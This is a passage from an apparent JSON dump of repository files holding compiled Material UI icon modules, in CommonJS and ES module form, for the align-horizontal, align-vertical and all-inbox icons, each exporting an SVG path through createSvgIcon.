    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2h2v20h-2zM2 10h16V7H2zm6 7h10v-3H8z\"\n}), 'AlignHorizontalRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalRightOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2h2v20h-2zM2 10h16V7H2zm6 7h10v-3H8z\"\n}), 'AlignHorizontalRightOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalRightRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2c.55 0 1 .45 1 1v18c0 .55-.45 1-1 1s-1-.45-1-1V3c0-.55.45-1 1-1M3.5 10h13c.83 0 1.5-.67 1.5-1.5S17.33 7 16.5 7h-13C2.67 7 2 7.67 2 8.5S2.67 10 3.5 10m6 7h7c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-7c-.83 0-1.5.67-1.5 1.5S8.67 17 9.5 17\"\n}), 'AlignHorizontalRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalRightRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2c.55 0 1 .45 1 1v18c0 .55-.45 1-1 1s-1-.45-1-1V3c0-.55.45-1 1-1M3.5 10h13c.83 0 1.5-.67 1.5-1.5S17.33 7 16.5 7h-13C2.67 7 2 7.67 2 8.5S2.67 10 3.5 10m6 7h7c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5h-7c-.83 0-1.5.67-1.5 1.5S8.67 17 9.5 17\"\n}), 'AlignHorizontalRightRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalRightSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2h2v20h-2zM2 10h16V7H2zm6 7h10v-3H8z\"\n}), 'AlignHorizontalRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalRightSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2h2v20h-2zM2 10h16V7H2zm6 7h10v-3H8z\"\n}), 'AlignHorizontalRightSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalRightTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 2h2v20h-2zM2 10h16V7H2zm6 7h10v-3H8z\"\n}), 'AlignHorizontalRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignHorizontalRightTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 2h2v20h-2zM2 10h16V7H2zm6 7h10v-3H8z\"\n}), 'AlignHorizontalRightTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalBottom.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 22H2v-2h20zM10 2H7v16h3zm7 6h-3v10h3z\"\n}), 'AlignVerticalBottom');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalBottom.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 22H2v-2h20zM10 2H7v16h3zm7 6h-3v10h3z\"\n}), 'AlignVerticalBottom');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalBottomOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 22H2v-2h20zM10 2H7v16h3zm7 6h-3v10h3z\"\n}), 'AlignVerticalBottomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalBottomOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 22H2v-2h20zM10 2H7v16h3zm7 6h-3v10h3z\"\n}), 'AlignVerticalBottomOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalBottomRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 22H3c-.55 0-1-.45-1-1s.45-1 1-1h18c.55 0 1 .45 1 1s-.45 1-1 1M8.5 2C7.67 2 7 2.67 7 3.5v13c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-13C10 2.67 9.33 2 8.5 2m7 6c-.83 0-1.5.67-1.5 1.5v7c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-7c0-.83-.67-1.5-1.5-1.5\"\n}), 'AlignVerticalBottomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalBottomRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 22H3c-.55 0-1-.45-1-1s.45-1 1-1h18c.55 0 1 .45 1 1s-.45 1-1 1M8.5 2C7.67 2 7 2.67 7 3.5v13c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-13C10 2.67 9.33 2 8.5 2m7 6c-.83 0-1.5.67-1.5 1.5v7c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-7c0-.83-.67-1.5-1.5-1.5\"\n}), 'AlignVerticalBottomRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalBottomSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 22H2v-2h20zM10 2H7v16h3zm7 6h-3v10h3z\"\n}), 'AlignVerticalBottomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalBottomSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 22H2v-2h20zM10 2H7v16h3zm7 6h-3v10h3z\"\n}), 'AlignVerticalBottomSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalBottomTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 22H2v-2h20zM10 2H7v16h3zm7 6h-3v10h3z\"\n}), 'AlignVerticalBottomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalBottomTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 22H2v-2h20zM10 2H7v16h3zm7 6h-3v10h3z\"\n}), 'AlignVerticalBottomTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalCenter.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11h-5V6h-3v5h-4V3H7v8H1.84v2H7v8h3v-8h4v5h3v-5h5z\"\n}), 'AlignVerticalCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalCenter.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11h-5V6h-3v5h-4V3H7v8H1.84v2H7v8h3v-8h4v5h3v-5h5z\"\n}), 'AlignVerticalCenter');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalCenterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11h-5V6h-3v5h-4V3H7v8H1.84v2H7v8h3v-8h4v5h3v-5h5z\"\n}), 'AlignVerticalCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalCenterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11h-5V6h-3v5h-4V3H7v8H1.84v2H7v8h3v-8h4v5h3v-5h5z\"\n}), 'AlignVerticalCenterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalCenterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 11h-4V7.5c0-.83-.67-1.5-1.5-1.5S14 6.67 14 7.5V11h-4V4.5C10 3.67 9.33 3 8.5 3S7 3.67 7 4.5V11H2.84c-.55 0-1 .45-1 1s.45 1 1 1H7v6.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V13h4v3.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V13h4c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'AlignVerticalCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalCenterRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 11h-4V7.5c0-.83-.67-1.5-1.5-1.5S14 6.67 14 7.5V11h-4V4.5C10 3.67 9.33 3 8.5 3S7 3.67 7 4.5V11H2.84c-.55 0-1 .45-1 1s.45 1 1 1H7v6.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V13h4v3.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V13h4c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'AlignVerticalCenterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalCenterSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11h-5V6h-3v5h-4V3H7v8H1.84v2H7v8h3v-8h4v5h3v-5h5z\"\n}), 'AlignVerticalCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalCenterSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11h-5V6h-3v5h-4V3H7v8H1.84v2H7v8h3v-8h4v5h3v-5h5z\"\n}), 'AlignVerticalCenterSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalCenterTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 11h-5V6h-3v5h-4V3H7v8H1.84v2H7v8h3v-8h4v5h3v-5h5z\"\n}), 'AlignVerticalCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalCenterTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 11h-5V6h-3v5h-4V3H7v8H1.84v2H7v8h3v-8h4v5h3v-5h5z\"\n}), 'AlignVerticalCenterTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalTop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2v2H2V2zM7 22h3V6H7zm7-6h3V6h-3z\"\n}), 'AlignVerticalTop');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalTop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2v2H2V2zM7 22h3V6H7zm7-6h3V6h-3z\"\n}), 'AlignVerticalTop');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalTopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2v2H2V2zM7 22h3V6H7zm7-6h3V6h-3z\"\n}), 'AlignVerticalTopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalTopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2v2H2V2zM7 22h3V6H7zm7-6h3V6h-3z\"\n}), 'AlignVerticalTopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalTopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 3c0 .55-.45 1-1 1H3c-.55 0-1-.45-1-1s.45-1 1-1h18c.55 0 1 .45 1 1M8.5 22c.83 0 1.5-.67 1.5-1.5v-13C10 6.67 9.33 6 8.5 6S7 6.67 7 7.5v13c0 .83.67 1.5 1.5 1.5m7-6c.83 0 1.5-.67 1.5-1.5v-7c0-.83-.67-1.5-1.5-1.5S14 6.67 14 7.5v7c0 .83.67 1.5 1.5 1.5\"\n}), 'AlignVerticalTopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalTopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 3c0 .55-.45 1-1 1H3c-.55 0-1-.45-1-1s.45-1 1-1h18c.55 0 1 .45 1 1M8.5 22c.83 0 1.5-.67 1.5-1.5v-13C10 6.67 9.33 6 8.5 6S7 6.67 7 7.5v13c0 .83.67 1.5 1.5 1.5m7-6c.83 0 1.5-.67 1.5-1.5v-7c0-.83-.67-1.5-1.5-1.5S14 6.67 14 7.5v7c0 .83.67 1.5 1.5 1.5\"\n}), 'AlignVerticalTopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalTopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2v2H2V2zM7 22h3V6H7zm7-6h3V6h-3z\"\n}), 'AlignVerticalTopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalTopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2v2H2V2zM7 22h3V6H7zm7-6h3V6h-3z\"\n}), 'AlignVerticalTopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalTopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 2v2H2V2zM7 22h3V6H7zm7-6h3V6h-3z\"\n}), 'AlignVerticalTopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlignVerticalTopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 2v2H2V2zM7 22h3V6H7zm7-6h3V6h-3z\"\n}), 'AlignVerticalTopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInbox.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6h-4c0 1.62-1.38 3-3 3s-3-1.38-3-3H5V5h14zm-4 7h6v3c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2v-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3\"\n}), 'AllInbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInbox.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6h-4c0 1.62-1.38 3-3 3s-3-1.38-3-3H5V5h14zm-4 7h6v3c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2v-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3\"\n}), 'AllInbox');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInboxOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 10h3.13c.21.78.67 1.47 1.27 2H5zm14 2h-4.4c.6-.53 1.06-1.22 1.27-2H19zm0-4h-5v1c0 1.07-.93 2-2 2s-2-.93-2-2V8H5V5h14zm-2 7h-3v1c0 .47-.19.9-.48 1.25-.37.45-.92.75-1.52.75s-1.15-.3-1.52-.75c-.29-.35-.48-.78-.48-1.25v-1H3v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4zM5 17h3.13c.02.09.06.17.09.25.24.68.65 1.28 1.18 1.75H5zm14 2h-4.4c.54-.47.95-1.07 1.18-1.75.03-.08.07-.16.09-.25H19z\"\n}), 'AllInboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInboxOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M5 10h3.13c.21.78.67 1.47 1.27 2H5zm14 2h-4.4c.6-.53 1.06-1.22 1.27-2H19zm0-4h-5v1c0 1.07-.93 2-2 2s-2-.93-2-2V8H5V5h14zm-2 7h-3v1c0 .47-.19.9-.48 1.25-.37.45-.92.75-1.52.75s-1.15-.3-1.52-.75c-.29-.35-.48-.78-.48-1.25v-1H3v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4zM5 17h3.13c.02.09.06.17.09.25.24.68.65 1.28 1.18 1.75H5zm14 2h-4.4c.54-.47.95-1.07 1.18-1.75.03-.08.07-.16.09-.25H19z\"\n}), 'AllInboxOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInboxRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6h-3.14c-.47 0-.84.33-.97.78C14.53 11.04 13.35 12 12 12s-2.53-.96-2.89-2.22c-.13-.45-.5-.78-.97-.78H5V6c0-.55.45-1 1-1h12c.55 0 1 .45 1 1zm-3.13 7H20c.55 0 1 .45 1 1v2c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2v-2c0-.55.45-1 1-1h4.13c.47 0 .85.34.98.8.35 1.27 1.51 2.2 2.89 2.2s2.54-.93 2.89-2.2c.13-.46.51-.8.98-.8\"\n}), 'AllInboxRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AllInboxRounded.mjs",
